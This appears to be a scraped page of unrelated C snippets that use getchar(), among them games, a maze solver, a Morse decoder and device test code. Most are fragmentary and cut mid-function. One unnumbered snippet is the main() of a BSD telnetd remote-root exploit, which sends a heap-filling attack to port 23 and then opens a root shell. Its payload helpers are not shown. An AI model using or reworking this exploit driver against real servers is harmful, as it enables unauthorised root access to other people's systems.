Exemple #1
0
//Function to create the falling sequence and checking for the score  
void game::f_Display()
{
/*	int v_count=1;
	int v_count1=0;
	system("clear");

	for(v_i=0;v_i<row-1;v_i++)
	{
		for(v_j=0;v_j<col;v_j++)
		{

			if(v_i==0)
			{
				v_ch = a_rchar[rand()%2];
				v_k = rand()%col;
				v_l = rand()%10;
				if(v_j==v_k && v_count1 <3)
				{
					a_a[v_i][v_j]=v_ch;
					v_count1++;
				}

				else
				{
					a_a[v_i][v_j]=' ';
				}
			}

			a_temp[v_count][v_j]=a_a[v_i][v_j];
			a_a[v_i][v_j]=a_temp[v_i][v_j];
		}

		v_count++;
		v_count1++;
	} 

*/
	if(v_rscore == 10 )
	{
		v_life--;
		system("clear");
		v_total=(v_score-v_rscore)+v_total;
		if(v_life == 0)
		{ 
			printf("\nTotal Score :%d\n________________________________",v_total);
			printf("\n\n\n\n\n\n\n\n Total Rocks Caught :( Game Over\n");
			exit(0);
		}

		else
		{
			printf("\n\n\n\n\n\n\n\n Remaining Life %d",v_life);
  printf("\nPress 'C' to Continue");
  v_score=0;
  v_rscore=0;
  system("stty raw");
  v_ch= getchar();
  system("stty cooked");

  if(v_ch)
  {
 system("clear");
 f_Number();
//return 0;
  } 

 }
}
/*else if(v_score == 10)
{
system("clear");
printf("\n\n\n\n Level 2");
system("clear");*/
}
Exemple #2
0
/* get a character of interactive input */
int PlatformGetCharacter()
{
    fflush(stdout);
    return getchar();
}
Exemple #3
0
     void main()

{
  char str1[10]="vikas",str2[20],ch,j=0,op,choice,another;

	int gd,gm,d,res;

	detectgraph(&gd,&gm);
	initgraph(
	&gd,&gm," ");
	man();
	cleardevice();
	flushall();
	 setbkcolor(2);


	getch();
	flushall();
	printf("\n Enter valid password:"******"\n PRESS TYPE OF RECORD \n [A]STAFF RECORD\n[B]STUDENT RECORD\n");
	scanf("%c",&op);

	if(strcmp(str1,str2)==0 && op=='A')




		{
		fa=fopen("ress.dat","r+b");

		if(fa==NULL)
		{
		fa=fopen("ress.dat","wb");
		fclose(fa);
		fa=fopen("ress.dat","r+b");
		}

		menu();


		}

	      /*	else
		printf("\n invalid password");
		printf("\n re-enter password");
		*/

	      else



	if(strcmp(str1,str2)==0 && op=='B')
{        /*cleardevice();
	 do{

     clrscr();
     cleardevice();
     twolinebox(29,6,51,8);
     twolinebox(20,5,60,18);
     twolinebox(2,20,79,25);
     twolinebox(2,2,79,25);
     //setbkcolor(6);
     center(7,"MAIN MENU");
     printxy(30,9,"Press:");
//     setcolor(3);
     printxy(30,11,"[A]-Create File");
     printxy(30,12,"[B]-Add Record");
     printxy(30,13,"[C]-List Record");
     printxy(30,14,"[D]-Quit Program");

     printxy(30,16,"Enter your choice...");
     gotoxy(50,16);
     choice=getch();
     choice=toupper(choice);
       switch(choice){
	  case 'A': Create(); break;
	  case 'B': Add(); break;
	  case 'C': List(); break;
	  case 'D': Quit(); break;
	  default: Err_mess(); break;
       }



   }while(choice!='D');*/
   ma();



	}

		printf("ADD ANOTHER RECORD(Y/N): ");
		flushall();
		fflush(stdin);
		another=getchar();
		fclose(fa);
		}

}
Exemple #4
0
/*
 BASIC SOCKET CONNECTION. SENDS/RCEIVES FROM AN IP
*/
int basicSocket()
{
	/*
	TCP/SOCK_STREAM: CONNECTION BASED - UNINTERRUPTED STREAM OF INFORMATION
	UDP/SOCK_DGRAM: NON-CONNECTION BASED - SENDING AND RECIEVING PACKETS FROM ANYONE AND EVERYONE (similiar to ICMP, ARP)
	*/
	SOCKET s;
	struct sockaddr_in server;//need IP and port number to remote connect
	char* message, server_reply[2000];
	int recv_size;

	InitSock(); //Initillises winsock

	//Create Socket
	if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) //socket() creates socket and returns descriptor which can be used in other network commands
	{
		printf("Could not create socket: %d\n", WSAGetLastError());
		/*
		Creates a socket of:
		Address Family: AF_INET (IPv4)
		Type: SOCK_STREAM (This means connection orientated TCP Protocol), SOCK_DGRAM indicates UDP of non-connection
		Protocol: 0 (or IPPROTO_TCP, IPPROTO_UDP)
		*/
		exit(1);
	}

	printf("Socket Created\n\n");

	//Setup connection information
	server.sin_addr.s_addr = inet_addr("216.58.208.142"); //converts IP to long format and stores inside server struct (IP is for google.com)
	server.sin_family = AF_INET; //address family
	server.sin_port = htons(80); // connect on port

	//connect to remote server
	if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
	{
		printf("connection error: %d", WSAGetLastError());
		getchar();
		return 1;
	}

	printf("Connected\n");

	//Send data
	message = "GET / HTTP/1.1\r\n\r\n";

	if (send(s, message, strlen(message), 0) < 0)
	{
		printf("Send Failed");
		getchar();
		exit(1);
	}

	printf("Data Sent\n");

	//Receive a reply fromm server
	if ((recv_size = recv(s, server_reply, 2000, 0)) == SOCKET_ERROR)
	{
		puts("recv failed");
	}

	printf("Reply received\n");

	//Add Termminating character to make it a proper string
	server_reply[recv_size-1] = '\0';
	printf("%s", server_reply);

	getchar(); //pause

	closesocket(s);
	WSACleanup();

	return 0;
}
int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;
        char *                  dest;
        int                     i, j, fd,
                                dots = 0;
        int                     popc;
        struct timeval          start,
                                cur;
        unsigned long long int  g_pct,  /* gaussian percentage */
                                g_all;  /* gaussian overall */


        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
                "by zip, lorian, smiler and scut.\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
                switch (c) {
                case 'n':
                        num = atoi (optarg);
                        break;
                case 'c':
                        checkonly = 1;
                        break;
                case 'f':
                        force = 1;
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        dest = argv[argc - 1];
        if (dest[0] == '-')
                usage (progname);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect\n");
                exit (EXIT_FAILURE);
        }

        random_init ();

        if (xp_check (fd) == 0 && force == 0) {
                printf ("aborting\n");
#ifndef DEBUG
                exit (EXIT_FAILURE);
#endif
        }
        close (fd);

        if (checkonly)
                exit (EXIT_SUCCESS);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect the second time\n");
                exit (EXIT_FAILURE);
        }

        printf ("\n#############################################################################\n\n");
        printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
                "telnet daemon process, it will spill badly. but then, there is no\n"
                "other way, sorry...\n\n", mode);

#ifdef DEBUG
        getchar ();
#endif
        printf ("## setting populators to populate heap address space\n");

        g_all = ((unsigned long long int)(pop / 2)) *
                        ((unsigned long long int)(pop + 1));
        g_pct = 0;

        printf ("## number of setenvs (dots / network): %d\n", pop);
        printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
        printf ("##\n");
        printf ("## the percentage is more realistic than the dots ;)\n");
        printf ("\n");
        printf ("percent |");

        popc = pop / COL;
        for (i = pop / popc ; i >= 0 ; --i)
                printf ("-");
        printf ("|      ETA |\n");

        gettimeofday (&start, NULL);

        for (walk = 0 ; walk < pop ; ++walk) {
                xp_pop (fd);

                g_pct += walk;

                if (walk % popc == 0)
                        dots += 1;

                if (walk % 200 == 0) {
                        int                     pct;
                        float                   pct_f;
                        unsigned long int       diff;

                        pct = (int) ((g_pct * 100) / g_all);
                        pct_f = g_pct * 100;
                        pct_f /= (float) g_all;

                        /* calculate difference not caring about accuracy */
                        gettimeofday (&cur, NULL);
                        diff = cur.tv_sec - start.tv_sec;

                        printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
                                "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
                        for (j = 0 ; j < dots ; ++j)
                                printf (".");
                        for ( ; j <= COL ; ++j)
                                printf (" ");

                        if (pct != 0) {
                                diff = (int) ((((float)(100 - pct_f)) /
                                        (float) pct_f) * diff);
                                printf ("| %02lu:%02lu:%02lu |",
                                        diff / 3600, (diff % 3600) / 60,
                                        diff % 60);
                        } else {
                                printf ("| --:--:-- |");
                        }

                        fflush (stdout);
                }
        }
        printf ("\n\n");

        printf ("## sleeping for 10 seconds to let the process recover\n");
        sleep (10);

#ifdef DEBUG
        getchar ();
#endif
        /* return into 0x08feff0a */
        xp (fd);
        sleep (1);

        printf ("## ok, you should now have a root shell\n");
        printf ("## as always, after hard times, there is a reward...\n");
        printf ("\n\ncommand: ");
        fflush (stdout);

        shell (fd);

        exit (EXIT_SUCCESS);
}
Exemple #6
0
int main(void)
{
	struct point p;
	int ways = 0;

	printf( "hello, maze! \n" );
	print_maze();

	/* init start situation */ 
	p = start;
	maze[p.row][p.col] = 2;
	push(p);
	print_maze();

	while( !is_empty() )
	{
		print_stack();
		/* get the saved point from stack */
		p = pop();

		/* judge if p is target point */
		if( p.row == target.row && p.col == target.col )
		{
			printf( "target is found! \n" );
			print_stack();

			/* print backward road */
			printf( "%d solution as follows: \n", ++ways );
			print_solution();
			getchar();

			// assume p is the target point
			backtrack( p );
			continue;
		}

		int flag = 0;
		/* expend p to UP, LEFT, DOWN, RIGHT */
		// look UP
		if( p.row-1 >= 0 && maze[p.row-1][p.col] == 0 )
			flag = visit( p.row-1, p.col, p );	

		// look LEFT 
		if( p.col-1 >= 0 && maze[p.row][p.col-1] == 0 )
			flag = visit( p.row, p.col-1, p );

		// look DOWN 
		if( p.row+1 < MAX_ROW && maze[p.row+1][p.col] == 0 )
			flag = visit( p.row+1, p.col, p );

		// look RIGHT 
		if( p.col+1 < MAX_COL && maze[p.row][p.col+1] == 0 )
			flag = visit( p.row, p.col+1, p );

		// backtrack clear 0
		if( flag == 0 )
			backtrack( p );

		print_maze();
		print_pre();
		print_stack();
		getchar();
	}

	printf( "there is %d ways out! \n", ways );

	return 0;
}
int main(){
    
    strcpy(s[0].a,".-"); s[0].ch='A';
    strcpy(s[1].a,"-..."); s[1].ch='B';
    strcpy(s[2].a,"-.-."); s[2].ch='C';
    strcpy(s[3].a,"-.."); s[3].ch='D';
    strcpy(s[4].a,"."); s[4].ch='E';
    strcpy(s[5].a,"..-."); s[5].ch='F';
    strcpy(s[6].a,"--."); s[6].ch='G';
    strcpy(s[7].a,"...."); s[7].ch='H';
    strcpy(s[8].a,".."); s[8].ch='I';
    strcpy(s[9].a,".---"); s[9].ch='J';
    strcpy(s[10].a,"-.-"); s[10].ch='K';
    strcpy(s[11].a,".-.."); s[11].ch='L';
    strcpy(s[12].a,"--"); s[12].ch='M';
    strcpy(s[13].a,"-."); s[13].ch='N';
    strcpy(s[14].a,"---"); s[14].ch=79;
    strcpy(s[15].a,".--."); s[15].ch='P';
    strcpy(s[16].a,"--.-"); s[16].ch='Q';
    strcpy(s[17].a,".-."); s[17].ch='R';
    strcpy(s[18].a,"..."); s[18].ch='S';
    strcpy(s[19].a,"-"); s[19].ch='T';
    strcpy(s[20].a,"..-"); s[20].ch='U';
    strcpy(s[21].a,"...-"); s[21].ch='V';
    strcpy(s[22].a,".--"); s[22].ch='W';
    strcpy(s[23].a,"-..-"); s[23].ch='X';
    strcpy(s[24].a,"-.--"); s[24].ch='Y';
    strcpy(s[25].a,"--.."); s[25].ch='Z';
    strcpy(s[26].a,"-----"); s[26].ch='0';
    strcpy(s[27].a,".----"); s[27].ch='1';
    strcpy(s[28].a,"..---"); s[28].ch='2';
    strcpy(s[29].a,"...--"); s[29].ch='3';
    strcpy(s[30].a,"....-"); s[30].ch='4';
    strcpy(s[31].a,"....."); s[31].ch='5';
    strcpy(s[32].a,"-...."); s[32].ch='6';
    strcpy(s[33].a,"--..."); s[33].ch='7';
    strcpy(s[34].a,"---.."); s[34].ch='8';
    strcpy(s[35].a,"----."); s[35].ch='9';
    strcpy(s[36].a,".-.-.-"); s[36].ch='.';
    strcpy(s[37].a,"--..--"); s[37].ch=',';
    strcpy(s[38].a,"..--.."); s[38].ch='?';
    strcpy(s[39].a,".----."); s[39].ch=39;
    strcpy(s[40].a,"-.-.--"); s[40].ch='!';
    strcpy(s[41].a,"-..-."); s[41].ch='/';
    strcpy(s[42].a,"-.--."); s[42].ch='(';
    strcpy(s[43].a,"-.--.-"); s[43].ch=')';
    strcpy(s[44].a,".-..."); s[44].ch='&';
    strcpy(s[45].a,"---..."); s[45].ch=':';
    strcpy(s[46].a,"-.-.-."); s[46].ch=';';
    strcpy(s[47].a,"-...-"); s[47].ch='=';
    strcpy(s[48].a,".-.-."); s[48].ch='+';
    strcpy(s[49].a,"-....-"); s[49].ch='-';
    strcpy(s[50].a,"..--.-"); s[50].ch='_';
    strcpy(s[51].a,".-..-."); s[51].ch='"';
    strcpy(s[52].a,".--.-."); s[52].ch='@';
    
   scanf("%d",&cas);
   getchar();
   p=0;
   for(l=0;l<cas;l++){
     
     gets(b);
     
     n=strlen(b);
     printf("Message #%d\n",l+1);
     for(i=0;i<n;i++){
       
       
       k=0;
       while(b[i]!=' '){
        c[p][k]=b[i];
        k++;
        i++;
        if(i==n)break; }
      
           
        flag=0;
    for(j=0;j<53;j++)
     if(strcmp(c[p],s[j].a)==0){
      printf("%c",s[j].ch);
      flag=1;
       }
     if(flag==0)
      printf(" "); 
    p++;
    }
    
    printf("\n");
    
   if(l!=cas-1)
    printf("\n");
   
}

return 0;
}
Exemple #8
0
wint_t getwchar() {
  return getchar();
}
Exemple #9
0
int main()
{
	criarTabuleiro();
	mostrarTabuleiro();

	Player jogo = NULL;

	int turno = 1;
	int fim = 0;
	int x0, y0, xf, yf, jAtual = 0;
	char jogador1[10], jogador2[10], jogadorAtual[10];


	puts(" ");
	do
	{
		if (turno == 1) {
			printf("=== JOGADOR 1 insira o nome ===\n");
			scanf("%s", jogador1);
			printf("=== JOGADOR 2 insira o nome ===\n");
			scanf("%s", jogador2);
			
			system("cls");
			fflush(stdin);
		}

		strcpy(jogadorAtual, jogador1);

		if (jAtual > 2) {
			strcpy(jogadorAtual, jogador1);
			jAtual = 0;
		}
		if (jAtual == 1)
			strcpy(jogadorAtual, jogador2);

		printf("======================================================\n");
		printf("TURNO: %d\nJOGADOR: %s", turno, jogadorAtual);
		puts(" ");
		mostrarTabuleiro();

		printf("==== Insira um movimento ===\n");
		printf("\t ESCOLHA A CORDENADA DA PEÇA A MOVIMENTAR [x0, y0]\n");
		printf("\t x0 = \n");
		scanf("%d", &x0);
		printf("\t y0 = \n");
		scanf("%d", &y0);
		printf("\t ESCOLHA A CORDENADA O DESTINO DA PEÇA [xf, yf]");

		scanf("%d %d", &xf, &yf);
		fflush(stdin);

		//fazerMovimento(x0)
		turno++;

		mostrarTabuleiro();
		printf("FIM DE JOGADA ? [1-sim, 0-não]\n");
		scanf("%d", &fim);

		fflush(stdin);
		jAtual++;

		if (vencerPartida() == 1)
		{
			system("cls");
			printf("PARABéNS O JOGADOR 1 VENCEU A PARTIDA!!!");
			break;
		}
		if (vencerPartida() == 2)
		{
			system("cls");
			printf("PARABéNS O JOGADOR 2 VENCEU A PARTIDA!!!");
			break;
		}

	} while (vencerPartida() == 0);


	getchar();
	return 0;
}
Exemple #10
0
int main()
{
	int t;
	char str[401];
	char stack[400];
	int k;
	int len;
	int i, j;

	scanf("%d", &t);
	getchar();
	k = 0;
	while (k++ < t) {
		gets(str);

		len = strlen(str);
		i = j= 0;
		while (i < len) {
			switch (str[i]) {
				case '^':
				case '*':
				case '/':
					if ((stack[j - 1] == '^'
							|| stack[j - 1] == '*'
							|| stack[j - 1] == '/')
							&& stack[j - 1] != '(') {
						printf("%c", stack[j - 1]);
						stack[j - 1] = str[i];
					}
					else {
						stack[j] = str[i];
						j++;
					}
					break;
				case '+':
				case '-':
					if (stack[j - 1] != '(') {
						printf("%c", stack[j - 1]);
						stack[j - 1] = str[i];
					}
					else {
						stack[j] = str[i];
						j++;
					}
					break;
				case '(':
					stack[j] = str[i];
					j++;
					break;
				case ')':
					while (stack[j - 1] != '(') {
						printf("%c", stack[j - 1]);
						j--;
					}
					j--;
					break;
				default:
					printf("%c", str[i]);
			}
			i++;
		}
		printf("\n");
	}
	return 0;
}
Exemple #11
0
/* 产生访存请求 */
int readrequest(Ptr_MemoryAccessRequest ptr_memAccReq)
{
	printf("请输入访存请求(输入x结束程序):\n");
	char c;
	unsigned long addr;
	BYTE value;
	int i,num;
	c=getchar();//读取请求类型
	//printf("#c的值是%c#\n",c);
	if(c!='s'&&c!='x'&&c!='y'){//如果c不是s或x则读取请求地址
		scanf(" %lu",&addr);//读取请求地址
		ptr_memAccReq->command=0;//不是命令	
	}
	switch(c){
		case 'r':
			ptr_memAccReq->reqType = REQUEST_READ;
			ptr_memAccReq->virAddr = addr;
			scanf(" %u",&(ptr_memAccReq->pid));
			printf("产生请求:\n地址:%lu\t类型:读取\tPID:%u\n", ptr_memAccReq->virAddr,ptr_memAccReq->pid);
            break;
        case 'w':
			ptr_memAccReq->reqType = REQUEST_WRITE;
			ptr_memAccReq->virAddr = addr;
            scanf(" %c",&value);//读入要写入的值
            ptr_memAccReq->value = value;
            scanf(" %u",&(ptr_memAccReq->pid));
            printf("产生请求:\n地址:%lu\t类型:写入\t值:%02X\tPID:%u\n", ptr_memAccReq->virAddr, ptr_memAccReq->value,ptr_memAccReq->pid);
            break;
        case 'e':
        	ptr_memAccReq->reqType = REQUEST_EXECUTE;
        	ptr_memAccReq->virAddr = addr;
        	scanf(" %u",&(ptr_memAccReq->pid));
            printf("产生请求:\n地址:%lu\t类型:执行\tPID:%u\n", ptr_memAccReq->virAddr,ptr_memAccReq->pid);
            break;
        case 's'://随机产生请求
        	ptr_memAccReq->command=0;//不是命令
        	scanf(" %d",&num);
        	printf("将产生%d条随机请求\n",num);
        	for(i=1;i<=num;i++){
        		do_request(ptr_memAccReq);
        		writereq(ptr_memAccReq);	
        	}
        	printf("%d条随机请求产生完毕\n",num);
        	break;
        case 'x':
        	ptr_memAccReq->command=-2;
        	printf("#发送退出程序命令#");
        	break;
        case 'y'://发送y命令
        	ptr_memAccReq->command=-1;
        	printf("#发送打印页表命令#");
        	break;
        default:
        	printf("请求格式有误,请重新输入\n");
    }
    if(c=='x'||c=='y'){//将命令写入fifo文件
		writereq(ptr_memAccReq);
	}
 	if(c=='r'||c=='w'||c=='e'){//将单条请求写入fifo文件
    	writereq(ptr_memAccReq);
    }
    if(c=='x')
    	return -1;//退出本程序
    while(c=getchar()!='\n')//越过行尾回车
    	;
    return 0;
    
}
Exemple #12
0
int main()
{
	char pressKey;
	int ret;
	bitmap *bm;
	u_char *w;

	sys_init();
	sleep(2);
	add_dbs_beep(NULL, 0, 1);

	bm = new_bitmap("./test.bmp");
	SetSrceenColor(0xFFFF);

	if (init_fonts() != -1)
	{
		disp_line("123-:+09", 0, 0, disp12_char);
		disp_line("123-:+09", 0, 100, disp36_char);
	}

	char *path_b = gppath(getpid());
	char *path_d = strdup(path_b);
	printf("This program path is: '%s' at '%s'\n", basename(path_b), dirname(path_d));

	u_char dt[7];

	get_bcd_datetime(dt);
	DBG_MEM("BCD datetime:", dt, 7);

/*
	int i;
	for (i=319; i>-320; i--)
	{
		if (i>0)
	{
			disp_bitmap(bm, 0, i, 320-i, 240, 0, 0);
		}
		else
		{
			disp_bitmap(bm, 0, 0, 320+i, 240, 0, -i);
		}
	}
*/
	u_char *buf = NULL;

	u_char factor[8] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
	u_char key[8]    = {0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01};
	u_char m_key[8]  = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};

	int p_len = 0;
	u_long t1, t2;

	cpu_card_data_t *ccd = NULL;
	u_long csn;

	/* alarm test code begin 

		DBG("Syn alarm 4 times...");
		ret = add_syn_beep(&t1, 0, 4);
		DBG("OK, wait 5 sec(ret: %d)\n", ret);
		sleep(5);
		DBG("Syn alarm 4 sec...");
		ret = add_syn_beep(&t2, 4000, 0);
		DBG("OK(ret: %d)\n", ret);

		sleep(1);
		terminate_alarm(t2);

	/* alarm test code end */

	while (1)
    {
    	printf("Press 'b' to test beep\n");
    	printf("Press 'c' to test COM1\n");
    	printf("Press 'g' to test GPRS\n");
    	printf("Press 'p' to test PSAM\n");
    	printf("Press 'm' to test MIFARE\n");
    	printf("Press 'e' to enter test screen\n");

    	pressKey=getchar();

    	switch (pressKey)
    	{
    		case 'b': test_beep(); break;
    		case 'c': test_COM1(); break;
    		case 'g': startup_poll(); break;
    		case 'p':
/*    			pc = new_ty_psam_cos();
    			if (NULL == pc)
    			{
    				DBG("Create psam card fail!\n");
    				break;
    			}

    			DBG("Select file 0x3F00...");
    			ret = psam_select_id(pc, &buf, 0x3F00);
    			if (ret == -1)
    			{
    				DBG("fail!\n");
    				break;
    			}
    			DBG_MEM("ok!\nResponse:", buf, ret);

    			DBG("Select file 0x1001...");
    			ret = psam_select_id(pc, &buf, 0x1001);
    			if (ret == -1)
    			{
    				DBG("fail!\n");
    				break;
    			}
    			DBG_MEM("ok!\nResponse:", buf, ret);
    			
    			t1 = get_tickcount();
    			ret = calc_descrypt1(pc, factor, key, 0x0D);
    			t2 = get_tickcount();
    			if (ret == 0)
    			{
    				DBG("Calcuate descrype OK\n");
    				DBG_MEM("factor:", factor, 8);
    				DBG_MEM("key:", key, 8);
    			}
    			else
    				DBG("Calcuate descrypt fail!\n");
*/
    			DBG("Calculate descrype consumed %d ms.\n", t2-t1);

    			break;
    		case 'm':

/*    			ret = get_card_sn(&buf);
    			DBG("Get card SN ret: %d (buf: %d)\n", ret, malloc_usable_size(buf));
    			if (ret != -1)
    				DBG_MEM("SN:", buf, ret);
    			else
    				break;
    			csn = (u_long)(*buf);

    			if ((buf[4] & 0x20))
    			{
    				DBG("**** CPU Card ****\nReset card ...");

    				ret = reset_cpu_card(&buf);
    				if (ret == -1)
    				{
    					DBG("fail!(%d)\n", ret);
    					break;
    				}
    				DBG_MEM("ok!\nATS:", buf, ret);

    				if (NULL == ccd)
    				{
    					DBG("To create cpu_card_data_t...\n");
    				 	ccd = new_cpu_card_data(6001, 1, 21);
    				 	if (NULL == ccd)
    				 	{
    				 		DBG("fail!\n");
    				 		break;
    				 	}
    				 	else
    				 		DBG("Ok.\n");
    				}


    				init_cpu_card_data(ccd, csn, buf, ret, 8, 8);

    				DBG("Fast debit wallet 0.01...");

    				ret = fast_debit_wallet_PUB1(&fmcos2_opr, ccd, 1);
    				if (-1 == ret)
    				{
    					DBG("fail! ret: %d, errno: %d\n", ret, get_cpu_carderr(ccd));
    					break;
    				}
    				DBG("Ok! Balance: %d.%d\n", get_pub_wallet_balance(ccd)/100, get_pub_wallet_balance(ccd)%100);
*/
    				/*


    				memcpy(factor, buf+ret-8, 8);
    				DBG_MEM("factor:", factor, 8);

    				DBG("\nGet Callagne...");
    				ret = rf_get_challenge(&fmcos2_opr, &buf, 4);
    				if (ret == -1)
    				{
    					DBG("fail!(%d)\n", ret);
    					break;
    				}
    				DBG_MEM("ok!\nResponse:", buf, ret);

    				memcpy(key, buf, 4);
    				memset(key+4, 0, 4);
    				DBG_MEM("key:", key, 8);

    				DBG("Calculate descrypt...");
	    			ret = calc_descrypt1(factor, key, 0x0D);
    				if (ret == -1)
    				{
    					DBG("fail!(%d)\n", ret);
    					break;
    				}
    				DBG_MEM("ok!\nResopnse:", key, 8);
    				DBG("Select ADF1...");
    				ret = rf_select_file_id(&fmcos2_opr, &buf, 0x1001);
    				if (ret == -1)
    				{
    					DBG("fail!(%d)\n", ret);
    					break;
    				}
    				DBG_MEM("ok!\nResopnse:", buf, ret);
    				DBG("Read Person file(id=2)...");
    				ret = rf_read_binary(&fmcos2_opr, &buf, 2, 0, NULL, 0);
    				if (ret == -1)
    				{
    					DBG("fail!(%d)\n", ret);
    					break;
    				}
    				DBG_MEM("ok!\nResponse:", buf, ret);
    				DBG("Read wallet file (id=4)...");
    				ret = rf_read_record(&fmcos2_opr, &buf, 1, 4, NULL, 12);
    				if (ret == -1)
    				{
    					DBG("fail!(%d)\n", ret);
    					break;
    				}
    				DBG_MEM("ok!\nResponse:", buf, ret);
    				DBG("Authenticate Key(id=0x0E)...");
    				ret = rf_extern_authent(&fmcos2_opr, &buf, 0x0E, key);
    				if (ret == -1)
    				{
    					DBG("fail!(%d)\n", ret);
    					break;
    				}
    				DBG_MEM("ok!\nResponse:", buf, ret);
	   				t2 = get_tickcount();
    				printf("CPU card time %dms", t2-t1); */
/*    			}
    			else
    			{
	    			DBG("**** Mifare Card ****\nAuthent sector 1...");
	    			ret = authent_mifare_card(m_key, 3, MIFARE_KEYA);
	    			if (ret != 0)
	    			{
	    				DBG("fail!(%d)\n", ret);
	    				break;
	    			}
	    			DBG("ok!\nRead block 0...");
	    			ret = read_mifare_card(&buf, 0);
	    			if (ret == -1)
	    			{
	    				DBG("fail!(%d)\n", ret);
	    				break;
	    			}
	    			DBG("ok!(%d)\n", ret);
	    			DBG_MEM("Block 0:", buf, ret);
	    			DBG("Write x0FF to block 1...");
	    			memset(buf, 0xff, sizeof(buf));
	    			ret = write_mifare_card(buf, 1);
	    			if (ret != 0)
	    			{
	    				DBG("fail!(%d)\n", ret);
	    				break;
	    			}
	    			DBG("ok!\nRead block 1...");
	    			ret = read_mifare_card(&buf, 1);
	    			if (ret == -1)
	    			{
	    				DBG("fail!(%d)\n", ret);
	    				break;
	    			}
	    			DBG("ok!(%d)\n", ret);
	    			DBG_MEM("Block 1:", buf, ret);
    			}*/
    			break; 
    	}
    	if (pressKey=='e')
    		break;
    }

	
}
Exemple #13
0
void test_COM1(void)
{
	char pressKey, *dev = "/dev/ttyS0", *s=NULL, *st;
	char *lf = strcat(dirname(gppath(getpid())), "/ppp.log");
	int l, m, n=0;
	FILE *com, *gprs, *pl;
	pthread_t ti, to;
	pid_t gid = 0;

	va_list ap;

	while (1)
	{
		printf("Press 'o' try to open COM1\n");
		printf("Press 'c' try to close COM1\n");
		printf("Press 'e' exit COM1 test\n");

		pressKey=getchar();

		printf("\n");

		switch (pressKey)
		{
			case 'o':
				com = fopen_sp(dev, B115200, 8, 0, 1, TTYS_TEXT_MODE);
				if (com != NULL)
					printf("Open COM1 OK! Pointer of COM: %p(address: %p)\n", com, &com);
				else
				{
					printf("Open COM1 error!\n");
					break;					
				}

				ti=to=0;
				
				if (pthread_create(&ti, NULL, send_to_com, (void *)com) != 0)
				{
					printf("Create send thread fail!\n");
					break;
				}
				if (pthread_create(&to, NULL, read_from_com, (void *)com) != 0)
				{
					printf("Create read thread fail!\n");
					break;
				}
				pthread_join(ti, NULL);

				char *arg[]={
					"pppd",
					"/dev/ttyS0",			//Serial device is ttyS0(COM1)
					"115200",				//Buad in 115200
					"modem",				//Waitting for CD signal
					"nocrtscts",			//Disabled hardware RTS & CTS
					"nodetach",				//Disable detach from terminal.
					"usepeerdns",			//Ask the peers for up to 2 DNS
					"noipdefault",			//Local ip supply by peers
					"defaultroute",			//Using the peers as gateway
					"user", "\"cmnet\"",
					"0.0.0.0:0.0.0.0",		//local ip:remote ip
					"ipcp-accept-local",	//Accept peer supply local IP
					"noccp",				//Disable CCP(Compression Control Protocol)
					"persist",				//hold connection
					"lcp-echo-interval", "5",	//Send LCP echo frame every 30 seconds
					"lcp-echo-failure", "5",	//Retry times when LCP echo fail
					"chap-interval", "5",		//rechallenge the peer every 5 seconds
					NULL};

				gprs = ppopen(&gid, "pppd", arg, "rn");
				if (NULL == gprs)
				{
					printf("Call pppd fail!\n");
					break;
				}
				pl = fopen(lf, "a");
				if (NULL == pl)
				{
					printf("Open log file fail!\n");
					break;
				}

				l = 0;
				time_t t;
				for (;;)
				{
					while (getline(&s, &n, gprs)<=0);
				
					t = time(NULL);
					st = sctime(&t);

					fprintf(pl, "%s>%s", st, s);
					fflush(pl);
					printf("%s>%s", st, s);

					if ((strstr(s, "terminated") != NULL) || (strstr(s, "failed") != NULL))
					{
						l = -1;
						printf("PPPD fail!\n");
						fprintf(pl, "\n%s>---PPPD fail!---\n", st);
						break;
					}

									switch (l)
					{
						case 0:
							if (strstr(s, PPPD_LOCAL_IP_STR) != NULL)
							{
								l++;
								printf("%d>>Got local IP\n", l);
							}
							break;
						case 1:
							if (strstr(s, PPPD_REMOTE_IP_STR) != NULL)
							{
								l++;
								printf("%d>>Got remote IP\n", l);
							}
							break;
						case 2:
							if (strstr(s, PPPD_PRIMARY_DNS_STR) != NULL)
							{
								l++;
								printf("%d>>Got primary dns\n", l);
							}
							break;
						case 3:
							if (strstr(s, PPPD_SECONDARY_DNS_STR) != NULL)
							{
								l++;
								printf("%d>>Got secondary dns\n", l);
							}
							break;
					}
					if (l == 4) 
					{
						printf("Got all str!\n");
						// break;
					}
				}

				if (l == -1)
				{
					printf("Close pipe file!\n");
					fclose(gprs);
					printf("Kill pppd! PID: %d\n", gid);
					kill(gid, SIGKILL);
					waitpid(gid, NULL, 0);
				}
				break;
			case 'c':
				fclose_sp(com);
		}
		if (pressKey=='e')
		{
			if (NULL != gprs) fclose(gprs);
			if (0 != gid)
			{
				kill(gid, SIGKILL);
				waitpid(gid, NULL, 0);
			}
			break;
		}
	}
}
Exemple #14
0
int main(int argc, char** argv)
{
	 int val=30;	
	 //playc.flagc1=1;
	//playc.flagc2=1;
	//playc.flagc3 =1;
	playc. flags1=0;
//	playc.flags2=0;
//	playc.flags3=0;
	playc.a_rchar[0]='$';
	playc.a_rchar[1]='O';
	playc.v_score=0;
	playc.v_rscore=0;
	playc.v_total=0;
	playc.v_life=3;
	playc.ack=1;
        int sockfd, n,len,portno;
        char buff[100];
	int buffi[5];
        struct sockaddr_in serv;
        struct hostent *server;
	/*if(argc < 3){
	printf(stderr,"using %s hostname port \n",argv[0]);
	exit(0);
	}*/
	
	//portno=atoi(argv[2]);
